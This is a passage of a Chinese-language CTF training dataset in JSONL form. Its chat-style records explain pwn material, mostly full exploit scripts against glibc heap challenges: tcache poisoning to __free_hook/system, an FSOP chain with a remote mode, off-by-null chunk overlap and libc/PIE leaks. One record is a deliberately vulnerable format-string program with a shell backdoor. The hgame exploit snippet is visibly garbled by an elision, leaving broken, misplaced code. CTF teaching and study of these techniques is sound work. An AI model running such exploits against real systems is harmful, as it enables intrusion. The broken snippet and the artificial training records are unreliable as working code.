"IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cd3f2bf3cf92a3e94181", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/tcache poisoning/qwqss journey_story/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/tcache poisoning/qwqss journey_story/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `edit`\n- `free`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0xfffffffff000`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./journey_story')\nio = process([elf.path])\nlibc = ELF('./libc-2.31.so')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(size, content):\n    sla(b\"option: \", b\"1\")\n    sla(b\"0xb0): \", str(hex(size)).encode())\n    sla(b\"racters): \", content)\n\ndef free(idx):\n    sla(b\"option: \", b\"2\")\n    sla(b\": \", str(idx))\n\ndef show(idx):\n    sla(b\"option: \", b\"4\")\n    sla(b\": \", str(idx))\n\ndef edit(idx, content):\n    sla(b\"option: \", b\"3\")\n    sla(b\": \", str(idx))\n    sl(content)\n\nfor i in range(7):\n    add(0xb0, b'aaaa')\n\nfor i in range(7):\n    free(i)\n\nfor i in range(6):\n    add(0x28, b'aaaa')\n\nedit(0, b'b' * 0x28 + b'\\xc1')\nfree(1)\nadd(0x28, b'\\x00')\nshow(2)\nlibc_base = u64(ru(b'\\x7f')[-6:].ljust(8, b'\\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']\nfree_hook = libc_base + libc.sym['__free_hook']\n\nsl(b\"10\")\nfor i in range(3):\n    add(0x28, b'cccc')\nfree(2)\nfree(3)\nshow(7)\n\nru(b\"Story 7 (size 0x28): \")\nheap_base = u64(r(8)) & 0xfffffffff000\n\nedit(7, p64(free_hook) + b'\\x0a')\nadd(0x28, b'/bin/sh\\x00')\nadd(0x28, p64(libc_base + libc.sym[\"system\"]))\nfree(2)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-2f26e08884602e34", "original_line": 37, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache poisoning/qwqss journey_story/exp.py", "split": "train", "split_group_key": "4ac9e1bd0742a59541a4918e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache poisoning/qwqss journey_story/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ce8da4af40983f0871eb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/2025hgame hit list/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/2025hgame hit list/exp.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `import os`\n- `import sys`\n- `from pwn import *`\n\n函数/封装：\n- `_loader_argv`\n- `add`\n- `delete`\n- `edit`\n- `menu`\n- `show`\n- `start`\n\n利用主题关键词：\n- heap/tcache\n- io-file/fsop\n- seccomp/orw\n- safe-linking\n\n关键常量/偏移样例：\n`0x100`, `0x130`, `0x3F0`, `0x1000`, `0x1190`, `0x2173C0`, `0x21AD30`, `0xfffffff7`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n2025 HGame - Hit list exploit\n\nUsage:\n  python3 exp.py                 # local with bundled libc/known loader if present\n  python3 exp.py TEST            # local smoke test: trigger shell and run `id`\n  python3 exp.py GDB             # debug with gdb\n  python3 exp.py REMOTE HOST=x PORT=y\n  python3 exp.py LOADER=/path/to/ld-linux-x86-64.so.2\n\"\"\"\n\nimport os\nimport sys\nfrom pwn import *\n\nBIN_PATH = './vuln'\nLIBC_PATH = './libc.so.6'\nKNOWN_LOADER = '/tools/binary/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/ld-linux-x86-64.so.2'\n\ncontext.binary = exe = ELF(BIN_PATH)\nlibc = ELF(LIBC_PATH)\ncontext.arch = 'amd64'\ncontext.os = 'linux'\ncontext.log_level = 'debug' if args.DEBUG else 'info'\n\n# glibc 2.35-0ubuntu3.8 offsets used by the original chain.\nLIBC_LEAK_OFFSET = 0x21AD30\nIO_OBSTACK_JUMPS = 0x2173C0\n\n\ndef _loader_argv():\n    \"\"\"Run vuln with the matching provided libc when possible.\"\"\"\n    loader = args.LOADER or os.environ.get('LOADER')\n    if not loader and os.path.exists(KNOWN_LOADER):\n        loader = KNOWN_LOADER\n\n    if loader:\n        libdir = os.path.dirname(os.path.abspath(LIBC_PATH)) or '.'\n        return [loader, '--library-path', libdir, BIN_PATH]\n\n    # Fallback: useful on a remote-like machine that already has a compatible loader.\n    return [BIN_PATH]\n\n\ndef start():\n    if args.REMOTE:\n        host = args.HOST or os.environ.get('HOST', 'TARGET_IP')\n        port = int(args.PORT or os.environ.get('PORT', '9999'))\n        return remote(host, port)\n\n    argv = _loader_argv()\n    if args.GDB:\n        gdbscript = \"\"\"\nset pagination off\nbreak *main\ncontinue\n\"\"\"\n        return gdb.debug(argv, gdbscript=gdbscript)\n\n    if len(argv) == 1:\n        return process(argv, env={'LD_PRELOAD': os.path.abspath(LIBC_PATH)})\n    return process(argv)\n\n\nio = start()\n\n\ndef menu(choice: int):\n    io.sendlineafter(b'>', str(choice).encode())\n\n\ndef add(identity: int, name: bytes, size: int, content: bytes = b''):\n    \"\"\"Add a note. identity is user-controlled; real list index is auto-assigned.\"\"\"\n    menu(1)\n    io.sendlineafter(b'>', str(identity).encode())\n    io.sendlineafter(b'>', name)\n    io.sendlineafter(b'>', str(size).encode())\n    io.sendafter(b'>', content)\n\n\ndef delete(index: int):\n    menu(2)\n    io.sendlineafter(b'>', str(index).encode())\n\n\ndef edit(index: int, identity: int, name: bytes, size: int, content: bytes = b''):\n    menu(3)\n    io.sendlineafter(b'>', str(index).encode())\n\n# ... 中间内容省略，保留关键利用片段 ...\n\ndef show(index: int) -> bytes:\n    delete(idx)\nlibc_line = show(3)\nheap_line = show(4)\nio_list_all = libc.sym['_IO_list_all']\nsystem_addr = libc.sym['system']\n# Target fake FILE area in heap and poison a 0x100 tcache entry to _IO_list_all+0x70.\nlog.info(f'_IO_list_all = {io_list_all:#x}')\nlog.info(f'system       = {system_addr:#x}')\n# 2. Drain current list, prepare 0x100 tcache, then abuse the negative-size malloc-fail path.\n    delete(0)\n    delete(0)\ndelete(1)\ndelete(0)\n# size=-9 is read by scanf(\"%u\") as 0xfffffff7; signed check passes, malloc(-1) fails,\n# then the hidden gift() function does free(user_pointer).  This gives one arbitrary free.\n# Corrupt the freed chunk fd to point into _IO_list_all using safe-linking encoding.\n# Fake _IO_FILE / obstack layout.  On exit(), _IO_flush_all_lockp reaches obstack finish,\n# which calls system(\"/bin/sh\") through the crafted fields.\n        0x30: system_addr,\n# Put the fake FILE pointer into _IO_list_all chain.\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-ddaeea874f3242c3", "original_line": 153, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/exp.py", "split": "train", "split_group_key": "3723ad0d8a7050baa3ee1cde"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cff4ee2e780e687a4997", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「poison environ, leak pie」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# poison environ, leak pie\nadd(1,0x3d0)\ndele()\nadd(1,0x10)\ndele()\nedit(p64(libc.sym[\"environ\"] ^ (heap_addr >> 12)))\nadd(1,0x20)\ndele()\nadd(1,0x30)\ndele()\nadd(1,0x60)\ndele()\ndoor = backdoor(\"\\x00\"*0x10)\npie = door - 0x12be", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-859b52b5a212f329", "original_line": 140, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d1c94286e1a306adedaa", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「leak libc」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# leak libc\nadd(1,0x440)\nadd(0,0x500)\ndele()\nshow()\nru(\"the data\")\nr(1)\nfor i in range(6):\n    val = u8(r(1))\n    libc.address += (val ^ (0x99+i)) * 0x100**i\nlibc.address -= 0x21ace0", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-23f2281651e645f3", "original_line": 129, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d1ea47bee89c1edc8270", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\n传统的`int 0x80`有点慢，所以 Intel 和 AMD 分别实现了`sysenter/sysexit`和`syscall/ sysret`，即所谓的快速系统调用指令，使用它们更快，但是也带来了兼容性的问题。于是 Linux 实现了`vsyscall`，程序统一调用`vsyscall`, 具体的选择由内核来决定。而`vsyscall`的实现就在 VDSO(Virtual Dynamically-linked Shared Object) 中。可以把 VDSO看成一个`.so`动态库链接文件，不同的内核，VDSO 的内容也是不同的，VDSO 将内核态的调用映射到用户态的地址空间中，可以大量减少这样的开销，同时也可以使路径更好。VDSO 中存在 `syscall ; ret` 。相比于栈和其他的`ASLR`，VDSO 的随机化非常的弱，对于 32 位的系统来说，有`1/256`的概率命中，这正好可以作为我们的利用点。可以通过`find / -name '*vdso*.so*'`命令来寻找`VDSO`。\n\n接下来以 intel 为例讲解 VDSO 的利用过程：\n\n+ `sysenter` 指令可用于 Ring3 的用户代码调用 Ring0 的系统内核代码，而 `sysexit` 指令则用于 Ring0 的系统代码返回用户空间中。\n+ 执行 `sysenter` 指令的系统必须满足两个条件：\n  - 目标 Ring0 代码段必须是平坦模式（Flat Mode）的 4GB 的可读可执行的非一致代码段。\n  - 目标 Ring0 堆栈段必须是平坦模式（Flat Mode）的 4GB 的可读可写向上扩展的栈段。\n+ `sysenter`指令并不一定成对，`sysenter`指令并不会把`sysexit`所需的返回地址压栈，`sysexit`返回的地址并不一定是`sysenter`指令的下一个指令地址。调用`sysenter/sysexit`指令地址的跳转是通过设置一组特殊寄存器实现的。这些寄存器包括：\n  - SYSENTER_CS_MSR － 用于指定要执行的 Ring 0 代码的代码段选择符，由它还能得出目标 Ring 0 所用堆栈段的段选择符；\n  - SYSENTER_EIP_MSR － 用于指定要执行的 Ring 0 代码的起始地址；\n  - SYSENTER_ESP_MSR－用于指定要执行的 Ring 0 代码所使用的栈指针；\n+ 这些寄存器可以通过 wrmsr 指令来设置，执行 wrmsr 指令时，通过寄存器 edx、eax 指定设置的值，edx 指定值的高 32 位，eax 指定值的低 32 位，在设置上述寄存器时，edx 都是 0，通过寄存器 ecx 指定填充的 MSR 寄存器，sysenter_CS_MSR、sysenter_ESP_MSR、sysenter_EIP_MSR 寄存器分别对应 0x174、0x175、0x176，需要注意的是，wrmsr 指令只能在 Ring 0 执行。\n+ 这里还要介绍一个特性，就是 Ring0、Ring3 的代码段描述符和堆栈段描述符在全局描述符表 GDT 中是顺序排列的，这样只需知道 SYSENTER_CS_MSR 中指定的 Ring0 的代码段描述符，就可以推算出 Ring0 的堆栈段描述符以及 Ring3 的代码段描述符和堆栈段描述符。\n+ 在 Ring3 的代码调用了`sysenter`指令之后，CPU 会做出如下的操作：\n\n\n1. 将 SYSENTER_CS_MSR 的值装载到 cs 寄存器\n2. 将 SYSENTER_EIP_MSR 的值装载到 eip 寄存器\n3. 将 SYSENTER_CS_MSR 的值加 8（Ring0 的堆栈段描述符）装载到 ss 寄存器。\n4. 将 SYSENTER_ESP_MSR 的值装载到 esp 寄存器\n5. 将特权级切换到 Ring0\n6. 如果 EFLAGS 寄存器的 VM 标志被置位，则清除该标志\n7. 开始执行指定的 Ring0 代码\n\n+ 在 Ring0 代码执行完毕，调用 SYSEXIT 指令退回 Ring3 时，CPU 会做出如下操作：\n\n1. 将 SYSENTER_CS_MSR 的值加 16（Ring3 的代码段描述符）装载到 cs 寄存器\n2. 将寄存器 edx 的值装载到 eip 寄存器\n3. 将 SYSENTER_CS_MSR 的值加 24（Ring3 的堆栈段描述符）装载到 ss 寄存器\n4. 将寄存器 ecx 的值装载到 esp 寄存器\n5. 将特权级切换到 Ring3\n6. 继续执行 Ring3 的代码\n\n+ 由此可知，在调用 SYSENTER 进入 Ring0 之前，一定需要通过 wrmsr 指令设置好 Ring0 代码的相关信息，在调用 SYSEXIT 之前，还要保证寄存器edx、ecx 的正确性。\n\n**利用思路**\n\n1. 泄露出 VDSO\n2. 利用 VDSO 进行 ROP\n3. 在`32`位系统中，`vsyscall`其参数传递方式和`int 0x80`是一样的，但是需要先做好栈帧，`push ebp ; mov ebp, esp`，以及需要找到一个好的`Gadget`来做`Stack Pivot`。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2e26d3c77de9574a", "original_line": 593, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d274304eb75d510ed6a5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「限制条件」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 限制条件\n- **Edit次数**：仅3次，每次最多写0x18字节。\n- **Add类型**：\n  - `fox`: `malloc(0x430)` → chunk size = `0x441`（含标志位）\n  - `hawk`: `malloc(0x440)` → chunk size = `0x451`\n  - `otter`: `calloc(0x48)` → chunk size = `0x51`（且calloc会跳过tcache，直接走smallbin）\n- **Show**：仅一次，泄露 `chunk->tag`（即 `chunk + 0x8` 处的内容）。\n- **Delete**：存在UAF（只free，不置零指针）。\n- **Purge**：只置零指针，不free。\n- 最多同时持有5个堆块指针。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2fea0d17416f859b", "original_line": 233, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d29136c39bad9154cf44", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/blind/blind_fmt.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/blind/blind_fmt.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `backdoor`\n- `init`\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n\nvoid init(){\n\t    setvbuf(stdin,0,2,0);\n\t    setvbuf(stdin,0,2,0);\n\t    setvbuf(stdout,0,2,0);\n}\n\nvoid backdoor(){\n\t\t  system(\"/bin/sh\");\n}\n\nint main()\n{\n\t    char buf[0x100];\n\t    memset(buf,0,0x100);\n\t    while(1)\n\t    {\n\t\t    printf(\"blind fmt\\n\");\n\t\t    read(0,buf,0x50);\n\t\t    printf(buf);\n\t    }\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-7513df33a78d4790", "original_line": 456, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/blind/blind_fmt.c", "split": "train", "split_group_key": "5a00744e088ed2b8f979b82f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/blind/blind_fmt.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d2a3cd1e5cfabbac72dd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「off-by-null转heap overlapping」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### off-by-null转heap overlapping\n\noff by null 比 off by one 条件要弱一些，所以这里只介绍 off by null 制造堆块重叠的方法。\n\n如果是在输入的内容后面一个字节写 0 ，即可以控制下一个 chunk 的 prev_size 和 size 最低 1 字节写 0 那么可以采用下面的方法制造堆块重叠。\n\n如下图所示，释放 chunk1 然后修改 chunk3 的 prev_size 和 PREV_INUSE 位（顺序不能错，否则 chunk1 会与 chunk2 合并出错），之后释放 chunk3 与 chunk1 合并，从而造成堆块重叠。\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x200)\nadd_chunk(1, 0x18)\nadd_chunk(2, 0x1f0)\nadd_chunk(3, 0x10)\n\ndelete_chunk(0)\nedit_chunk(1, 'a' * 0x10 + p64(0x230) + p8(0))\ndelete_chunk(2)\nadd_chunk(0, 0x428)\ndelete_chunk(1)\np.interactive()\n```\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x18)\nadd_chunk(1, 0x408)\nadd_chunk(2, 0x2f0)\nadd_chunk(10, 0x20)\n\ndelete_chunk(1)\nedit_chunk(0, 'a' * 0x18 + p8(0))\nadd_chunk(4, 0x1f0)\nadd_chunk(5, 0x10)\nadd_chunk(6, 0x1f0 - 0x40)\nadd_chunk(7, 0x10)\ndelete_chunk(4)\ndelete_chunk(2)\ndelete_chunk(6)\ngdb.attach(p)\np.interactive()\n```\n\n自 glibc-2.29 起加入了 prev_size 的检查，以上方法均已失效。不过要是能够泄露堆地址可以利用 unlink 或 house of einherjar 的思想伪造 fd 和 bk 实现堆块重叠。\n\n```c\n/* consolidate backward */\nif (!prev_inuse(p)) {\n  prevsize = prev_size (p);\n  size += prevsize;\n  p = chunk_at_offset(p, -((long) prevsize));\n  if (__glibc_unlikely (chunksize(p) != prevsize))\n    malloc_printerr (\"corrupted size vs. prev_size while consolidating\");\n  unlink_chunk (av, p);\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5c8dcfd7a94bf42a", "original_line": 78, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d2aadef5d9afda776dee", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `Heap/tcache attack/Hitcon-CTF2019-one_punch_man` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`Heap/tcache attack/Hitcon-CTF2019-one_punch_man`\n\n## Writeup 蒸馏\n# 201 Hitcon-CTF one_punch_man\n\n漏洞类型： `UAF` `Double Free`\n\n利用方式： `Tcache Stashing Unlink Attack`\n\nflag： `[FLAG_REDACTED]`\n\n## Writeup\n\n### 基本信息\n\n开启了常见保护，题目环境为 glibc 2.29 ，使用 seccomp 开启了沙箱保护，只有白名单上的系统调用可以使用。\n\n```bash\n╭─wz@wz-virtual-machine ~/Desktop/CTF/xz_files/hitcon2019_one_punch_man ‹master›\n╰─$ checksec ./one_punch\n[*] '/home/wz/Desktop/CTF/xz_files/hitcon2019_one_punch_man/one_punch'\n    Arch:     amd64-64-little\n    RELRO:    Full RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      PIE enabled\n╭─wz@wz-virtual-machine ~/Desktop/CTF/xz_files/hitcon2019_one_punch_man ‹master*›\n╰─$ seccomp-tools dump ./one_punch\n line  CODE  JT   JF      K\n=================================\n 0000: 0x20 0x00 0x00 0x00000004  A = arch\n 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003\n 0002: 0x06 0x00 0x00 0x00000000  return KILL\n 0003: 0x20 0x00 0x00 0x00000000  A = sys_number\n 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006\n 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008\n 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010\n 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012\n 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014\n 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016\n 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0018\n 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0020\n 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0022\n 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024\n 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n 0024: 0x06 0x00 0x00 0x00000000  return KILL\n\n```\n\n### 基本功能\n\nAdd 函数可以分配 `[0x80,0x400]` 大小的堆块，分配的函数为 `calloc` ，输入数据首先存储到栈上，之后再使用 `strncpy` 拷贝到 `bss` 上的数组里。\n\nDelete 函数 `free` 堆块之后未清空，造成 `double free` 和 `UAF`\n\n```c\nvoid __fastcall Delete(__int64 a1, __int64 a2)\n{\n  unsigned int v2; // [rsp+Ch] [rbp-4h]\n\n  MyPuts(\"idx: \");\n  v2 = read_int();\n  if ( v2 > 2 )\n    error(\"invalid\", a2);\n  free(*((void **)&unk_4040 + 2 * v2));\n}\n```\n后门函数可以调用 `malloc` 分配 `0x217` 大小的堆块，但是要要满足 `*(_BYTE *)(qword_4030 + 0x20) > 6` ，我们在 `main` 函数里可以看到这里被初始化为 `heap_base+0x10` ，对于 glibc 2.29，这个位置对应存储的是 `tcache_perthread_struct` 的 `0x220` 大小的 `tcache_bin` 的数量，正常来说，如果我们想调用后门的功能，要让这个 `count` 